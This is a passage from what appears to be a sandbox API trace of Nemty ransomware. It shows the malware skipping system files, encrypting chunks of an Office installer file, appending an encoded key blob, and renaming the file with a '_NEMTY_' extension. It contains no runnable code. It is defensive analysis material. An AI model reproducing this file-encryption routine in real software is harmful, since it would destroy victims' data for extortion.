(lpString1="ProPlusrWW.msi", lpString2="windows") returned -1 [0049.223] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="$RECYCLE.BIN") returned 1 [0049.223] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="rsa") returned -1 [0049.223] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="NTDETECT.COM") returned 1 [0049.223] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="ntldr") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="MSDOS.SYS") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="IO.SYS") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="boot.ini") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="boot.ini") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="AUTOEXEC.BAT") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="ntuser.dat") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="desktop.ini") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="CONFIG.SYS") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="RECYCLER") returned -1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="BOOTSECT.BAK") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="bootmgr") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="programdata") returned 1 [0049.224] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="appdata") returned 1 [0049.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.msi", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.msi", lpUsedDefaultChar=0x0) returned 14 [0049.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.224] Sleep (dwMilliseconds=0x5) [0049.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd10c0070, dwHighDateTime=0x1d561e7)) [0049.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd10c0070, dwHighDateTime=0x1d561e7)) [0049.231] GetLastError () returned 0x0 [0049.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.231] GetLastError () returned 0x0 [0049.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.231] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.232] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.232] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.232] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Mx7yRKpxXYzbAWnDDiefSW4l1mNuZgzT9ygyXoCUIfD6IUZl2U96wrPMdiBheecS\r\nHrULhoNyGzAUAENbc3XC057D+Zqr1kHL0K7GCcIpQMfTAoE86Xcco+Py5xQbCZu1\r\nHAogKrX1n7WfEv/ZO8iqG3s+2AZgP1E4T9SsEOHhIU2isrzS2Wn/6G3dIe2zMtaV\r\n+IA2ACW0OIXtASJAAf9vruj3dJpbe95McnmDtTRYhKYU9APuDmR7r312sKP37Gas\r\nGh5uQu+yOqjDAcDkyTIFJZSWzrZHvPCuxTReUiKCBFtC3BK4LAo6Rhzi0XJAUfrq\r\nA+lFHFnj+Ren5d78veCUkA==\r\n", pcchString=0x653ef9c) returned 1 [0049.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.236] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=27532288) returned 1 [0049.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0049.236] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12166144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a400 [0049.236] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.250] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12166144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a400 [0049.250] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.251] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12326144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc1500 [0049.251] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.262] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12326144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc1500 [0049.262] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.263] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12486144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbe8600 [0049.263] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.279] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12486144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbe8600 [0049.279] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.281] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12646144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc0f700 [0049.281] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.292] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12646144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc0f700 [0049.293] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.293] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12806144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc36800 [0049.293] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.307] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12806144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc36800 [0049.307] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.307] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12966144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc5d900 [0049.307] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.320] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12966144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc5d900 [0049.320] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.321] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13126144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc84a00 [0049.321] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.334] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13126144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc84a00 [0049.334] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.335] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13286144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcabb00 [0049.335] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.345] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13286144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcabb00 [0049.345] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.346] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13446144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcd2c00 [0049.346] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.355] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13446144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcd2c00 [0049.356] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.356] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13606144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcf9d00 [0049.356] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0049.378] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=13606144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcf9d00 [0049.378] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0049.379] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.380] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0049.388] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.388] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0049.388] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=27429888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a28c00 [0049.388] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0049.398] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=27429888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a28c00 [0049.398] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0049.398] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=27532288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a41c00 [0049.398] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.398] CloseHandle (hObject=0x3c8) returned 1 [0049.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0049.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0049.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.767] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi._nemty_kgobjgd_")) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.768] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="..") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="...") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="windows") returned -1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="$RECYCLE.BIN") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="rsa") returned -1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="NTDETECT.COM") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="ntldr") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="MSDOS.SYS") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="IO.SYS") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="boot.ini") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="boot.ini") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="AUTOEXEC.BAT") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="ntuser.dat") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="desktop.ini") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="CONFIG.SYS") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="RECYCLER") returned -1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="BOOTSECT.BAK") returned 1 [0049.768] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="bootmgr") returned 1 [0049.769] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="programdata") returned 1 [0049.769] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="appdata") returned 1 [0049.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProPlusrWW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProPlusrWW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 